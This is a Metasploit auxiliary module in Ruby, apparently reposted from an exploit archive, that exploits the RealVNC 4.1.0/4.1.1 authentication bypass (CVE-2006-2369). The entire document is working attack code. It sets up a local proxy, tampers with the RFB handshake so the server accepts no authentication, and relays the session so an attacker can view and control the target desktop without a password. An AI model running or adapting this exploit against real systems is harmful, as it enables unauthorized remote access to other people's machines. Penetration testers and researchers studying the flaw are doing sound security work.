RealVNC Authentication Bypass

                							

                ##
# $Id: realvnc_41_bypass.rb 13641 2011-08-26 04:40:21Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealVNC Authentication Bypass',
      'Description'    => %q{
        This module exploits an Authentication Bypass Vulnerability
        in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
        listener on LPORT and proxies to the target server

        The AUTOVNC option requires that vncviewer be installed on 
        the attacking machine. This option should be disabled for Pro
      },
      'Author'         => 
        [
          'hdm', #original msf2 module
          'TheLightCosine <thelightcosine[at]gmail.com>'
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 13641 $',
      'References'     =>
        [
          ['BID', '17978'],
          ['OSVDB', '25479'],
          ['URL', 'http://secunia.com/advisories/20107/'],
          ['CVE', 'CVE-2006-2369'],
        ],
      'DisclosureDate' => 'May 15 2006'))

    register_options(
      [
        OptAddress.new('RHOST', [true, 'The Target Host']),
        OptPort.new('RPORT',    [true, "The port the target VNC Server is listening on", 5900 ]),
        OptPort.new('LPORT',    [true, "The port the local VNC Proxy should listen on", 5900 ]),
        OptBool.new('AUTOVNC',  [true, "Automatically Launch vncviewer from this host", true])
      ], self.class)
  end

  def run
    #starts up the Listener Server
    print_status("starting listener")
    listener = Rex::Socket::TcpServer.create(
        'LocalHost' => '0.0.0.0',
        'LocalPort' => datastore['LPORT'],
        'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
      )

    #If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
    #targetting the proxy listener.
    if (datastore['AUTOVNC'])
      unless (check_vncviewer())
        print_error("vncviewer does not appear to be installed, exiting!!!")
        return nil
      end
      print_status("Spawning viewer thread")  
      view = framework.threads.spawn("VncViewerWrapper", false) {
          system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
      }
    end

    #Establishes the connection between the viewier and the remote server
    client = listener.accept
    add_socket(client)

    s = Rex::Socket::Tcp.create(
        'PeerHost' => datastore['RHOST'],
        'PeerPort' => datastore['RPORT'],
        'Timeout' => 1
        )
    add_socket(s)
    serverhello = s.gets
    unless serverhello.include? "RFB 003.008"
      print_error("The VNCServer is not vulnerable")
      return
    end

    #MitM attack on the VNC Authentication Process
    client.puts(serverhello)
    clienthello = client.gets
    s.puts(clienthello)
    authmethods = s.recv(2)
    print_status("Auth Methods Recieved. Sending Null Authentication Option to Client")
    client.write("\x01\x01")
    client.recv(1)
    s.write("\x01")
    s.recv(4)
    client.write("\x00\x00\x00\x00")

    #handles remaining proxy operations between the two sockets
    closed = false
    while(closed == false)
      sockets =[]
      sockets << client
      sockets << s
      selected = select(sockets,nil,nil,0)
      #print_status ("Selected: #{selected.inspect}")
      unless selected.nil?
        if selected[0].include?(client)
          #print_status("Transfering from client to server")
          begin
            data = client.sysread(8192)
            if data.nil?
              print_error("Client Closed Connection")
              closed = true
            else
              s.write(data)
            end
          rescue
            print_error("Client Closed Connection")  
            closed = true
          end
        end
        if selected[0].include?(s)
          #print_status("Transfering from server to client")
          begin
            data = s.sysread(8192)
            if data.nil?
              print_error("Server Closed Connection")
              closed = true
            else
              client.write(data)
            end
          rescue
            closed = true
          end
        end
      end
    end

    #Garbage Collection
    s.close
    client.close
    print_status("Listener Closed")

    if (datastore['AUTOVNC'])
      view.kill
      print_status("Viewer Closed")
    end
  end

  def check_vncviewer
    vnc =
      Rex::FileUtils::find_full_path('vncviewer') ||
      Rex::FileUtils::find_full_path('vncviewer.exe')
    if (vnc)
      return true
    else
      return false
    end
  end
end
<p>